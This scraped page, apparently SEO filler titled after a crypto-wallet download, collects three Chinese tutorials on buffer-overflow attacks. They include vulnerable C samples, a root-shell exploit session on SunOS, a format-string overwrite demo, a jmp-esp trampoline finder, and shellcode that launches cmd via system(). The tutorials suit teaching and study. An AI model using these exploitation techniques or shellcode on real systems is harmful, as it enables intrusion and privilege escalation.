Hero Circle Shape
Hero Moon Shape
Hero Right Shape
tokenpocket钱包手机安卓版下载|溢出攻击

tokenpocket钱包手机安卓版下载|溢出攻击

  • 作者: tokenpocket钱包手机安卓版下载
  • 2024-03-08 04:43:55

网络安全攻防之缓冲区溢出攻击 - 知乎

网络安全攻防之缓冲区溢出攻击 - 知乎首发于千锋教育切换模式写文章登录/注册网络安全攻防之缓冲区溢出攻击千锋教育​已认证账号什么是缓冲区溢出?缓冲区溢出是一种异常现象,当软件向缓冲区中写入数据使缓冲区容量溢出时,会导致相邻存储器位置被覆盖。换句话说,过量的信息被传递到没有足够空间的容器中,而这些信息最终会替换相邻容器中的数据。攻击者可以利用缓冲区溢出修改计算机的内存,以破坏或控制程序的执行。什么是缓冲区?缓冲区或数据缓冲区是一个物理内存存储区,用于在将数据从一个位置移到另一位置时临时存储数据。这些缓冲区通常位于 RAM 内存中。计算机经常使用缓冲区来帮助提高性能。大多数现代硬盘驱动器都利用缓冲的优势来有效地访问数据,并且许多在线服务也使用缓冲区。例如,在线视频传送服务经常使用缓冲区以防止中断。流式传输视频时,视频播放器一次下载并存储 20% 的视频到缓冲区,然后从该缓冲区进行流式传输。这样,连接速度的小幅下降或快速的服务中断都不会影响视频流性能。缓冲区旨在容纳特定数量的数据。除非利用缓冲区的程序具有内置指令以在将太多数据发送到缓冲区时丢弃数据,否则程序将覆盖缓冲区附近的内存中的数据。如何利用缓冲区溢出进行攻击?攻击者可以故意将精心制作的输入馈入程序,程序将尝试将该输入存储在不够大的缓冲区中,因此输入会覆盖连接到缓冲区空间的部分内存。如果程序的内存布局定义明确,则攻击者可以故意覆盖已知包含可执行代码的区域。然后,攻击者可以用自己的可执行代码替换这些代码,这可以大大改变程序的工作方式。例如,如果内存中的被覆盖部分包含一个指针(指向内存中另一个位置的对象),则攻击者的代码可以用另一个指向漏洞利用有效载荷的指针来替换该代码。这样就可以将整个程序的控制权转移给攻击者的代码。缓冲区溢出攻击的类型有哪些?缓冲区溢出攻击有很多类型,它们采用不同的策略并针对不同的代码段。以下是一些最著名的类型。 堆栈溢出攻击 - 这是最常见的缓冲区溢出攻击类型,涉及到调用堆栈*上的缓冲区溢出。堆溢出攻击 - 这种类型的攻击针对开放的内存池中称为堆*的数据。整数溢出攻击 - 在整数溢出中,算术运算得出对于要存储结果的整数类型而言太大的整数;这可能导致缓冲区溢出。Unicode 溢出 - Unicode 溢出通过将 Unicode 字符插入需要 ASCII 字符的输入中来创建缓冲区溢出。(ASCII 和 unicode 是使计算机表达文本的编码标准。例如,字母“a”由 ASCII 中的数字 97 表达。虽然 ASCII 码仅用于表达西方语言中的字符,但 unicode 可以为地球上几乎所有书面语言创建字符。因为 unicode 中有更多可用的字符,所以许多 unicode 字符大于最大的 ASCII 字符。)谁容易受到缓冲区溢出攻击?C 和 C++ 这两种脆弱性较高的热门语言,因为它们不包含内置的保护措施以防止访问或覆盖内存中的数据。Windows、Mac OSX 和 Linux操作系统 都包含用这两种语言编写的代码。Java、PERL 和 C# 等更现代的语言具有内置特性,可帮助减少缓冲区溢出的机会,但不能完全阻止缓冲区溢出。如何防范缓冲区溢出攻击?现代操作系统具有运行时保护,可帮助防护缓冲区溢出攻击。我们来探讨有助于防护漏洞利用风险的 2 种常见保护措施:地址空间随机化 - 随机重新排列进程的关键数据区的地址空间位置。缓冲区溢出攻击通常依赖于了解重要的可执行代码的确切位置,地址空间的随机化可以使这种了解几乎不可能。防止数据执行 - 标记内存的某些区域(可执行或不可执行),防止漏洞利用运行不可执行区域中的代码。软件开发人员还可以通过使用内置保护的语言编写或在其代码中使用特殊的安全性程序,来预防缓冲区溢出漏洞。尽管存在上述预防措施,但开发人员仍然发现了新的缓冲区溢出漏洞,有时是在遭遇成功的漏洞利用之后。发现新漏洞时,工程师需要修补受影响的软件,并确保该软件的用户可以获取补丁。以上是网络安全的全套精讲教程,点击卡片,即可观看:这里有全套学习资料包(教程+源码+学习笔记+工具+课件+面试题解析)免费领取,还有大牛讲师在线答疑免费辅导!还等什么?快来学习吧!发布于 2022-06-10 11:22网络攻防网络安全信息网络安全​赞同 2​​添加评论​分享​喜欢​收藏​申请转载​文章被以下专栏收录千锋教育千锋教育,交流+V15711268

你似乎来到了没有知识存在的荒原 - 知乎

你似乎来到了没有知识存在的荒原 - 知乎首页知乎知学堂发现等你来答​切换模式登录/注册你似乎来到了没有知识存在的荒原5 秒后自动跳转至知乎首页去

网络攻防实战技术之——缓冲区溢出篇-腾讯云开发者社区-腾讯云

实战技术之——缓冲区溢出篇-腾讯云开发者社区-腾讯云墨文网络攻防实战技术之——缓冲区溢出篇关注作者腾讯云开发者社区文档建议反馈控制台首页学习活动专区工具TVP最新优惠活动文章/答案/技术大牛搜索搜索关闭发布登录/注册首页学习活动专区工具TVP最新优惠活动返回腾讯云官网墨文首页学习活动专区工具TVP最新优惠活动返回腾讯云官网社区首页 >专栏 >网络攻防实战技术之——缓冲区溢出篇网络攻防实战技术之——缓冲区溢出篇墨文关注发布于 2020-02-28 14:34:505.2K0发布于 2020-02-28 14:34:50举报文章被收录于专栏:m0w3nm0w3n网络攻防实战技术之——缓冲区溢出篇内容摘要1. 缓冲区溢出相关概念2. 缓冲区溢出原理3. 溢出保护技术4. 安全编程技术学习要求1. 了解缓冲区溢出的相关概念2. 明确缓冲区溢出的危害3. 理解栈溢出、堆溢出、整型溢出、格式化字符串溢出及文件流溢出的原因4. 掌握安全编程技术引言-缓冲区溢出的历史1. 1988年的Morris蠕虫病毒,感染了6000多台机器:利用UNIX服务finger中的缓冲区溢出漏洞来获得访问权限,得到一个shell2. 1996年前后,开始出现大量的缓冲区溢出攻击,因此引起人们的广泛关注3. 源码开放的操作系统首当其冲4. 随后,Windows系统下的缓冲区溢出也相继被发掘出来5. 已经有一些非常经典细致的文章来介绍与缓冲区溢出有关的技术6. 这两年广泛流行的一些Internet worms利用了一些缓冲区溢出漏洞缓冲区溢出相关概念缓冲区  从程序的角度,缓冲区就是应用程序用来保存用户输入数据、程序临时数据的内存空间  缓冲区的本质:数组  存储位置 :Stack(栈) 、Heap(堆) 、数据段缓冲区溢出  如果用户输入的数据长度超出了程序为其分配的内存空间,这些数据就会覆盖程序为其它数据分配的内存空间,形成所谓的缓冲区溢出为什么会缓冲区溢出?1. 在C语言中,指针和数组越界不保护是Buffer overflow的根源,而且,在C语言标准库中就有许多能提供溢出的函数,如strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets()和scanf()2. 通过指针填充数据3. 不好的编程习惯4. 溢出类型:栈溢出、堆溢出利用缓冲区溢出进行的攻击 1. 基本的思想  通过修改某些内存区域,把一段恶意代码存储到一个buffer中,并且使这个buffer被溢出,以便当前进程被非法利用(执行这段恶意的代码)2. 危害性  a. 在UNIX平台上,通过发掘Buffer Overflow, 可以获得一个交互式的shell  b. 在Windows平台上,可以上载并执行任何的代码  c. 溢出漏洞发掘起来需要较高的技巧和知识背景,但是,一旦有人编写出溢出代码,则用起来非常简单  d. 与其他的攻击类型相比,缓冲区溢出攻击    i. 不需要太多的先决条件    ii. 杀伤力很强    iii. 技术性强  e. 在Buffer Overflows攻击面前,防火墙往往显得很无奈利用缓冲区溢出的攻击1. 随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。2. 如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出,改变返回地址,将其指向自己的指令序列,从而改变该程序的正常流程。程序指令流被改变后……1. 溢出之后,让程序执行我们指定的代码  a. 我们自己提供的一段代码  b. 系统现有的调用2. 由于这段代码往往不能太长,所以需要精心设计,并且充分利用系统中现有的函数和指令3. 对于不同的操作系统  a. Linux/Unix,尽可能地得到一个shell(最好是root shell)  b. Windows,一个可以远程建立连接的telnet会话4. 通用的模式  a. 找到具有漏洞的程序(vulnerable program )  b. 编写出shellcode,  c. 然后编写把shellcode送到漏洞程序的程序(称为exploit)Windows平台下缓冲区溢出 过程1. 发现目标  a. 找到有漏洞的程序,如果在输入非正常字符串的时候,出现下图的情形  b. 或者从程序中找漏洞,用好的反汇编工具,加上耐心    i. 以一个特定的字符串作为线索,跟踪到strcpy这样的函数,看是否有边界检查  c. 编写shellcode  d. 编写exploit程序,并试验,直到成功简单溢出实例#include

int main()

{

char name[8] = {0};

printf(“Your name:”);

gets(name);

printf(“Hello,%s!”,name);

return 0;

}复制 当程序输入内容超过8个字符串时,程序出错!缓冲区溢出的危害1. 应用程序异常2. 系统不稳定甚至崩溃3. 程序跳转到恶意代码,控制权被窃缓冲区溢出原理预备知识  1. 理解程序内存空间  2. 理解堆栈  3. 理解函数调用过程  4. 理解缓冲区溢出的原理Windows环境下的堆栈1. 程序空间由何构成?2. 堆栈是什么?3. 堆栈里面放的都是什么信息?4. 程序使用超过了堆栈默认的大小怎么办?5. 在一次函数调用中,堆栈是如何工作的?程序在内存中的映像栈1. 栈是一块连续的内存空间——就像一个杯子  a. 先入后出  b. 生长方向与内存的生长方向正好相反, 从高地址向低地址生长2. 每一个线程有自己的栈  a. 提供一个暂时存放数据的区域3. 使用 POP / PUSH 指令来对栈进行操作4. 使用 ESP 寄存器指向栈顶,EBP 指向栈帧底栈内容1. 函数的参数2. 函数返回地址3. EBP 的值4. 一些通用寄存器 ( EDI , ESI … ) 的值5. 当前正在执行的函数的局部变量三个重要的寄存器1. SP ( ESP )   即栈顶指针,随着数据入栈出栈而发生变化2. BP ( EBP )   即基地址指针,用于标识栈中一个相对稳定的位置。通过 BP ,可以方便地引用函数参数以及局部变量3. IP ( EIP )    即指令寄存器,在将某个函数的栈帧压入栈中时,其中就包含当前的 IP 值,即函数调用返回后下一个执行语句的地址函数调用过程1. 把参数压入栈2. 保存指令寄存器中的内容,作为返回地址3. 放入堆栈当前的基址寄存器4. 把当前的栈指针 ( ESP )拷贝到基址寄存器,作为新的基地址5. 为本地变量留出一定空间,把 ESP 减去适当的数值函数调用中栈的工作过程调用函数前  压入栈    上级函数传给 A 函数的参数    返回地址 ( EIP )    当前的 EBP    函数的局部变量调用函数后  恢复 EBP  恢复 EIP  局部变量不作处理例子1#include

#include

void foo(const char* input){

char stack[10];

strcpy(stack,input);

}

void bar(){

printf("\nAh,I've been hacked!\n");

}

void main(int argc,char *argv[]){

foo(argv[1]);

}复制 例子2int main()

{

AFunc(5,6);

return 0;

}

int AFunc(int i,int j)

{

int m = 3;

int n = 4;

    m = i;n = j;

    BFunc(m,n);

    return 8;

}

int BFunc(int i,int j)

{

int m = 1;

int n = 2;

m = i;

n = j;

return m;

}复制函数调用中栈的工作过程 视频播放地址:https://www.bilibili.com/video/av39992797/当缓冲区溢出发生时……缓冲区溢出原理及其利用缓冲区溢出种类  1. 栈溢出  2. 堆溢出  3. 整型溢出  4. 格式化字符串溢出  5. 其他溢出栈溢出特点  1. 缓冲区在栈中分配  2. 拷贝的数据过长  3. 覆盖了函数的返回地址或其它一些重要数据结构、函数指针栈溢出实例代码:#include

#include

int output()

{

printf("output\n");

return 0;

}

int main()

{

char szBuf[8] = {0};

//int * 取地址 (int)强制转为int

*(int *)((int)szBuf+12) = (int)(int *) (output);

printf("main\n");

return 0;

}复制 PS:可以看到 main 字符 先 output 字符打印,即证明了main返回到了output函数!!!! 代码:#include

#include

int BFunc(int i,int j)

{

int m = 1;

int n = 2;

m = i;

n = j;

return m;

}

int AFunc(int i,int j)

{

int m = 3;

int n = 4;

char szBuf[8] = {0};

*(int *)((int)szBuf+20) = (int)(int *)BFunc;

m = i;

n = j;

BFunc(m,n);

return 8;

}

int main()

{

char szBuf[8] = {0};

AFunc(5,6);

return 0;

}复制 PS:ppt上写的是*(int *)((int)szBuf+20) = BFunc;

这样写编译不通过,不能单独使用BFunc函数名获得BFunc的地址复制堆溢出1. 堆和栈有何区别  a. 内存的动态分配与静态分配  b. 数据增长方向2. 堆溢出特点  a. 缓冲区在堆中分配  b. 拷贝的数据过长  c. 覆盖了堆管理结构#define BUFLEN 32

int main(int argc, char* argv[ ])

{

char *buf1;

buf1 = (char*)malloc(BUFLEN);

strcpy(buf1,argv[1]);

printf("%s\n",buf1);

free(buf1);

return 0;

}复制关于堆溢出比较少引起人们的关注,原因在于  1. 比栈溢出难度更大  2. 需要结合其他的技术,比如    a. 函数指针改写    b. Vtable改写    c. Malloc库本身的漏洞  3. 对于内存中变量的组织方式有一定的要求整型溢出1. 宽度溢出(Widthness Overflow)  尝试存储一个超过变量表示范围的大数到变量中2. 运算溢出(Arithmetic Overflow)  如果存储值是一个运算操作,稍后使用这个结果的程序的任何一部分都将错误的运行,因为这个计算结果是不正确的。3. 符号溢出(Signedness Bug)  一个无符号的变量被看作有符号,或者一个有符号的变量被看作无符号PS:memcpy指的是c和c++使用的内存拷贝函数,memcpy函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中。该函数的复制内存过程中,是不检查数据边界的。宽度溢出示例#include

#include

#include

void main(int argc,char* argv[])

{

unsigned short s; // 无符号short类型数据占 4 个字节

int i; // int类型数据占 8 个字节

char buf[80];

i = atoi(argv[1]);//将字符串转换为整型数据 , 数据 太长 将被截断,转换出错

s = i;

if(s >= 80)

return;

memcpy(buf,argv[2],i);

}复制 运算溢出示例void CopyIntArray(int *array,int len)

{

int* myarray,i;

myarray = malloc(len*sizeof(int));

if(myarray == NULL)

return;

for(i=0;i

myarray[i] = arrary[i];

}复制 符号溢出示例当len变量数据足够长时,将导致len为负数,绕过len>size的判断,导致溢出#include

#include

#include

void CopySomething(char *buf,int len)

{

char kbuf[8];

int size = sizeof(kbuf);

if(len > size)

return;

printf("buf=%s,len=%d,size=%d\n",buf,len,size);

memcpy(kbuf,buf,len);

for(int i=0;i

printf("kbuf=%c\n",kbuf[i]);

}

void main(int argc,char* argv[])

{

char * buf = "123456789012";

int len = 123456789012;

CopySomething(buf,len);

}复制格式化字符串溢出关键字  “%n”产生原因  printf()是不定参数输入  printf()不会检查输入参数的个数其他溢出类型.data section溢出PEB/TEB溢出文件流溢出归纳溢出的共性  1. 大object向小object复制数据(字符串或整型),容纳不下造成溢出  2. 溢出会覆盖一些关键性数据(返回地址、管理数据、异常处理或文件指针等)  3. 利用程序的后续流程,得到程序的控制权缓冲区溢出的利用char szBuf[8] = {0};

strcpy(szBuf,argv[2]);复制 argv[2]的内容:  1. 对EIP的填充  2. ShellcodeShellcode1. Shellcode其实就是一段可以完成某种特定功能的二进制代码2. Shellcode的功能  a. 基本功能    1) 添加administrator or root组用户    2) 远程可用shell    3) 下载程序(Trojan or Rootkit)执行  b. 高级功能    1) 抗NIDS检测    2) 穿透防火墙Shellcode不通用 Shellcode为什么不通用  1. 不同硬件平台    IBM PC、Alpha,PowerPC  2. 不同系统平台    Unix、Windows  3. 不同内核与补丁版本  4. 不同漏洞对字符串限制不同 利用缓冲区溢出的攻击实例login: zch

Password:

Last login: Fri Jan 12 15:21:34 from 210.34.6.82

Sun Microsystems Inc. SunOS 5.6 Generic August 1997

You have mail.

$ who

zch pts/1 Jan 12 15:22 (linuxlab.xmu.edu.cn)

$ lpset

Usage: lpset [-n (system|xfn) ] [-x] [-a key=value] [-d key] (printer)#查看是否有lpset程序

$ ./lpset2 944 1600 2

Usages: ./lpset2

Using RET address = 0xefffff40 ,Offset = 1600, Align= 2

# id

uid=0(root) gid=1(other)

#

入侵成功。lpset2源程序可在绿盟站点下载。复制格式化字符串溢出攻击格式化字符串溢出攻击  格式化字符串:就是在*printf()系列函数中按照一定的格式对数据进行输出,可以输出到标准输出,即printf(),也可以输出到文件句柄,字符串等。  黑客可以利用的几个条件:    (1)参数个数不固定造成访问越界数据    (2)利用%n/%hn格式符写入跳转地址    (3)利用附加格式符控制跳转地址的值 一个简单的例子:int main()

{

long retloc = 0;

long shell_addr = 0xffbeffac, reth, retl;

char buf[256], buf1[256];

reth = (shell_addr >> 16) & 0xffff ;

retl = (shell_addr >> 0) & 0xffff ;

sprintf(buf, "%%.%uu%%hn%%%uc%%hn", reth , retl - reth + 0x10000);

printf("Before overwrite: retloc = 0x%.8x\n", retloc);

printf(buf, 'A', &retloc, 'B', (char*)(&retloc) + 2 );

printf("After overwrite: retloc = 0x%.8x\n", retloc);

}复制程序执行结果:  Before overwrite: retloc = 0x00000000  After overwrite: retloc = 0xffacffbe程序执行分析:  printf("%.65470u%hn%65518c%hn", 'A', &retloc, 'B', (char*)(&retloc) + 2 );本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。 原始发表:2019-01-05 ,如有侵权请联系 cloudcommunity@tencent.com 删除前往查看windowstcp/ipshell网络安全安全本文分享自 作者个人站点/博客 前往查看如有侵权,请联系 cloudcommunity@tencent.com 删除。本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!windowstcp/ipshell网络安全安全评论登录后参与评论0 条评论热度最新登录 后参与评论推荐阅读LV.关注文章0获赞0领券社区专栏文章阅读清单互动问答技术沙龙技术视频团队主页腾讯云TI平台活动自媒体分享计划邀请作者入驻自荐上首页技术竞赛资源技术周刊社区标签开发者手册开发者实验室关于社区规范免责声明联系我们友情链接腾讯云开发者扫码关注腾讯云开发者领取腾讯云代金券热门产品域名注册云服务器区块链服务消息队列网络加速云数据库域名解析云存储视频直播热门推荐人脸识别腾讯会议企业云CDN加速视频通话图像分析MySQL 数据库SSL 证书语音识别更多推荐数据安全负载均衡短信文字识别云点播商标注册小程序开发网站监控数据迁移Copyright © 2013 - 2024 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有 深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569腾讯云计算(北京)有限责任公司 京ICP证150476号 |  京ICP备11018762号 | 京公网安备号11010802020287问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档Copyright © 2013 - 2024 Tencent Cloud.All Rights Reserved. 腾讯云 版权所有登录 后参与评论00

缓冲区溢出攻击 - Florian - 博客园

缓冲区溢出攻击 - Florian - 博客园

会员

周边

新闻

博问

AI培训

云市场

所有博客

当前博客

我的博客

我的园子

账号设置

简洁模式 ...

退出登录

注册

登录

Florian

——非淡泊無以明志,非寧靜無以致遠。

博客园

联系

管理

缓冲区溢出攻击

缓冲区溢出攻击

 

缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁明了。本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。不过即便如此,完成一个简单的溢出代码也需要解决很多书中无法涉及的问题,尤其是面对较新的具有安全特性的编译器——比如MS的Visual Studio2010。接下来,我们结合具体代码,按照对缓冲区溢出原理的循序渐进地理解方式去挖掘缓冲区溢出背后的底层机制。

一、代码 <=> 数据

顾名思义,缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。通常情况下,缓冲区溢出的数据只会破坏程序数据,造成意外终止。但是如果有人精心构造溢出数据的内容,那么就有可能获得系统的控制权!如果说用户(也可能是黑客)提供了水——缓冲区溢出攻击的数据,那么系统提供了溢出的容器——缓冲区。

缓冲区在系统中的表现形式是多样的,高级语言定义的变量、数组、结构体等在运行时可以说都是保存在缓冲区内的,因此所谓缓冲区可以更抽象地理解为一段可读写的内存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码。按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在内存的,同样程序的数据也在内存中,因此直接从内存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。

图1 进程地址空间分布

图1是进程地址空间分布的简单表示。代码存储了用户程序的所有可执行代码,在程序正常执行的情况下,程序计数器(PC指针)只会在代码段和操作系统地址空间(内核态)内寻址。数据段内存储了用户程序的全局变量,文字池等。栈空间存储了用户程序的函数栈帧(包括参数、局部数据等),实现函数调用机制,它的数据增长方向是低地址方向。堆空间存储了程序运行时动态申请的内存数据等,数据增长方向是高地址方向。除了代码段和受操作系统保护的数据区域,其他的内存区域都可能作为缓冲区,因此缓冲区溢出的位置可能在数据段,也可能在堆、栈段。如果程序的代码有软件漏洞,恶意程序会“教唆”程序计数器从上述缓冲区内取指,执行恶意程序提供的数据代码!本文分析并实现栈溢出攻击方式。

二、函数栈帧

栈的主要功能是实现函数的调用。因此在介绍栈溢出原理之前,需要弄清函数调用时栈空间发生了怎样的变化。每次函数调用时,系统会把函数的返回地址(函数调用指令后紧跟指令的地址),一些关键的寄存器值保存在栈内,函数的实际参数和局部变量(包括数据、结构体、对象等)也会保存在栈内。这些数据统称为函数调用的栈帧,而且是每次函数调用都会有个独立的栈帧,这也为递归函数的实现提供了可能。

图2 函数栈帧

如图所示,我们定义了一个简单的函数function,它接受一个整形参数,做一次乘法操作并返回。当调用function(0)时,arg参数记录了值0入栈,并将call function指令下一条指令的地址0x00bd16f0保存到栈内,然后跳转到function函数内部执行。每个函数定义都会有函数头和函数尾代码,如图绿框表示。因为函数内需要用ebp保存函数栈帧基址,因此先保存ebp原来的值到栈内,然后将栈指针esp内容保存到ebp。函数返回前需要做相反的操作——将esp指针恢复,并弹出ebp。这样,函数内正常情况下无论怎样使用栈,都不会使栈失去平衡。

sub esp,44h指令为局部变量开辟了栈空间,比如ret变量的位置。理论上,function只需要再开辟4字节空间保存ret即可,但是编译器开辟了更多的空间(这个问题很诡异,你觉得呢?)。函数调用结束返回后,函数栈帧恢复到保存参数0时的状态,为了保持栈帧平衡,需要恢复esp的内容,使用add esp,4将压入的参数弹出。

之所以会有缓冲区溢出的可能,主要是因为栈空间内保存了函数的返回地址。该地址保存了函数调用结束后后续执行的指令的位置,对于计算机安全来说,该信息是很敏感的。如果有人恶意修改了这个返回地址,并使该返回地址指向了一个新的代码位置,程序便能从其它位置继续执行。

三、栈溢出基本原理

上边给出的代码是无法进行溢出操作的,因为用户没有“插足”的机会。但是实际上很多程序都会接受用户的外界输入,尤其是当函数内的一个数组缓冲区接受用户输入的时候,一旦程序代码未对输入的长度进行合法性检查的话,缓冲区溢出便有可能触发!比如下边的一个简单的函数。

 

void fun(unsigned char *data){    unsigned char buffer[BUF_LEN];    strcpy((char*)buffer,(char*)data);//溢出点}

这个函数没有做什么有“意义”的事情(这里主要是为了简化问题),但是它是一个典型的栈溢出代码。在使用不安全的strcpy库函数时,系统会盲目地将data的全部数据拷贝到buffer指向的内存区域。buffer的长度是有限的,一旦data的数据长度超过BUF_LEN,便会产生缓冲区溢出。

图3 缓冲区溢出

由于栈是低地址方向增长的,因此局部数组buffer的指针在缓冲区的下方。当把data的数据拷贝到buffer内时,超过缓冲区区域的高地址部分数据会“淹没”原本的其他栈帧数据,根据淹没数据的内容不同,可能会有产生以下情况:

1、淹没了其他的局部变量。如果被淹没的局部变量是条件变量,那么可能会改变函数原本的执行流程。这种方式可以用于破解简单的软件验证。

2、淹没了ebp的值。修改了函数执行结束后要恢复的栈指针,将会导致栈帧失去平衡。

3、淹没了返回地址。这是栈溢出原理的核心所在,通过淹没的方式修改函数的返回地址,使程序代码执行“意外”的流程!

4、淹没参数变量。修改函数的参数变量也可能改变当前函数的执行结果和流程。

5、淹没上级函数的栈帧,情况与上述4点类似,只不过影响的是上级函数的执行。当然这里的前提是保证函数能正常返回,即函数地址不能被随意修改(这可能很麻烦!)。

如果在data本身的数据内就保存了一系列的指令的二进制代码,一旦栈溢出修改了函数的返回地址,并将该地址指向这段二进制代码的其实位置,那么就完成了基本的溢出攻击行为。

图4 基本栈溢出攻击

通过计算返回地址内存区域相对于buffer的偏移,并在对应位置构造新的地址指向buffer内部二进制代码的其实位置,便能执行用户的自定义代码!这段既是代码又是数据的二进制数据被称为shellcode,因为攻击者希望通过这段代码打开系统的shell,以执行任意的操作系统命令——比如下载病毒,安装木马,开放端口,格式化磁盘等恶意操作。

四、栈溢出攻击

上述过程虽然理论上能完成栈溢出攻击行为,但是实际上很难实现。操作系统每次加载可执行文件到进程空间的位置都是无法预测的,因此栈的位置实际是不固定的,通过硬编码覆盖新返回地址的方式并不可靠。为了能准确定位shellcode的地址,需要借助一些额外的操作,其中最经典的是借助跳板的栈溢出方式。

根据前边所述,函数执行后,栈指针esp会恢复到压入参数时的状态,在图4中即data参数的地址。如果我们在函数的返回地址填入一个地址,该地址指向的内存保存了一条特殊的指令jmp esp——跳板。那么函数返回后,会执行该指令并跳转到esp所在的位置——即data的位置。我们可以将缓冲区再多溢出一部分,淹没data这样的函数参数,并在这里放上我们想要执行的代码!这样,不管程序被加载到哪个位置,最终都会回来执行栈内的代码。

图5 借助跳板的栈溢出攻击

借助于跳板的确可以很好的解决栈帧移位(栈加载地址不固定)的问题,但是跳板指令从哪找呢?“幸运”的是,在Windows操作系统加载的大量dll中,包含了许多这样的指令,比如kernel32.dll,ntdll.dll,这两个动态链接库是Windows程序默认加载的。如果是图形化界面的Windows程序还会加载user32.dll,它也包含了大量的跳板指令!而且更“神奇”的是Windows操作系统加载dll时候一般都是固定地址,因此这些dll内的跳板指令的地址一般都是固定的。我们可以离线搜索出跳板执行在dll内的偏移,并加上dll的加载地址,便得到一个适用的跳板指令地址!

//查询dll内第一个jmp esp指令的位置int findJmp(char*dll_name){    char* handle=(char*)LoadLibraryA(dll_name);//获取dll加载地址    for(int pos=0;;pos++)//遍历dll代码空间    {        if(handle[pos]==(char)0xff&&handle[pos+1]==(char)0xe4)//寻找0xffe4 = jmp  esp        {            return (int)(handle+pos);        }    }}

这里简化了搜索算法,输出第一个跳板指令的地址,读者可以选取其他更合适位置。LoadLibraryA库函数返回值就是dll的加载地址,然后加上搜索到的跳板指令偏移pos便是最终地址。jmp esp指令的二进制表示为0xffe4,因此搜索算法就是搜索dll内这样的字节数据即可。

虽然如此,上述的攻击方式还不够好。因为在esp后继续追加shellcode代码会将上级函数的栈帧淹没,这样做并没有什么好处,甚至可能会带来运行时问题。既然被溢出的函数栈帧内提供了缓冲区,我们还是把核心的shellcode放在缓冲区内,而在esp之后放上跳转指令转移到原本的缓冲区位置。由于这样做使代码的位置在esp指针之前,如果shellcode中使用了push指令便会让esp指令与shellcode代码越来越近,甚至淹没自身的代码。这显然不是我们想要的结果,因此我们可以强制抬高esp指针,使它在shellcode之前(低地址位置),这样就能在shellcode内正常使用push指令了。

图6 调整shellcode与栈指针

调整代码的内容很简单:

add esp,-Xjmp esp

第一条指令抬高了栈指针到shellcode之前。X代表shellcode起始地址与esp的偏移。如果shellcode从缓冲区起始位置开始,那么就是buffer的地址偏移。这里不使用sub esp,X指令主要是避免X的高位字节为0的问题,很多情况下缓冲区溢出是针对字符串缓冲区的,如果出现字节0会导致缓冲区截断,从而导致溢出失败。

第二条指令就是跳转到shellcode的起始位置继续执行。(又是jmp esp!)

通过上述方式便能获得一个较为稳定的栈溢出攻击。

五、shellcode构造

shellcode实质是指溢出后执行的能开启系统shell的代码。但是在缓冲区溢出攻击时,也可以将整个触发缓冲区溢出攻击过程的代码统称为shellcode,按照这种定义可以把shellcode分为四部分:

1、核心shellcode代码,包含了攻击者要执行的所有代码。

2、溢出地址,是触发shellcode的关键所在。

3、填充物,填充未使用的缓冲区,用于控制溢出地址的位置,一般使用nop指令填充——0x90表示。

4、结束符号0,对于符号串shellcode需要用0结尾,避免溢出时字符串异常。

前边一直在围绕溢出地址讨论,并解决了shellcode组织的问题,而最核心的代码如何构造并未提及——即攻击成功后做的事情。其实一旦缓冲区溢出攻击成功后,如果被攻击的程序有系统的root权限——比如系统服务程序,那么攻击者基本上可以为所欲为了!但是我们需要清楚的是,核心shellcode必须是二进制代码形式。而且shellcode执行时是在远程的计算机上,因此shellcode是否能通用是一个很复杂的问题。我们可以用一段简单的代码实例来说明这个问题。

缓冲区溢出成功后,一般大家都会希望开启一个远程的shell控制被攻击的计算机。开启shell最直接的方式便是调用C语言的库函数system,该函数可以执行操作系统的命令,就像我们在命令行下执行命令那样。假如我们执行cmd命令——在远程计算机上启动一个命令提示终端(我们可能还不能和它交互,但是可以在这之前建立一个远程管道等),这里仅作为实例测试。

为了使system函数调用成功,我们需要将“cmd”字符串内容压入栈空间,并将其地址压入作为system函数的参数,然后使用call指令调用system函数的地址,完成函数的执行。但是这样做还不够,如果被溢出的程序没有加载C语言库的话,我们还需要调用Windows的API Loadlibrary加载C语言的库msvcrt.dll,类似的我们也需要为字符串“msvcrt.dll”开辟栈空间。

 

xor ebx,ebx ;//ebx=0push 0x3f3f6c6c ;//ll??push 0x642e7472 ;//rt.dpush 0x6376736d ;//msvcmov [esp+10],ebx ;//'?'->'0'mov [esp+11],ebx ;//'?'->'0'mov eax,esp ;//"msvcrt.dll"地址push eax ;//"msvcrt.dll"mov eax,0x77b62864 ;//kernel32.dll:LoadLibraryAcall eax ;//LoadLibraryA("msvcrt.dll")add esp,16push 0x3f646d63 ;//"cmd?"mov [esp+3],ebx ;//'?'->'\0'mov eax,esp;//"cmd"地址push eax ;//"cmd"mov eax,0x774ab16f ;//msvcrt.dll:systemcall eax ;//system("cmd")add esp,8

上述汇编代码实质上是如下两个函数调用语句:

Loadlibrary(“msvcrt.dll”);system(“cmd”);

不过在构造这段汇编代码时需要注意不能出现字节0,为了填充字符串的结束字符,我们使用已经初始化为0的ebx寄存器代替。另外,在对库函数调用的时候需要提前计算出函数的地址,如Loadlibrary函数的0x77b62864。计算方式如下:

int findFunc(char*dll_name,char*func_name){    HINSTANCE handle=LoadLibraryA(dll_name);//获取dll加载地址    return (int)GetProcAddress(handle,func_name);}

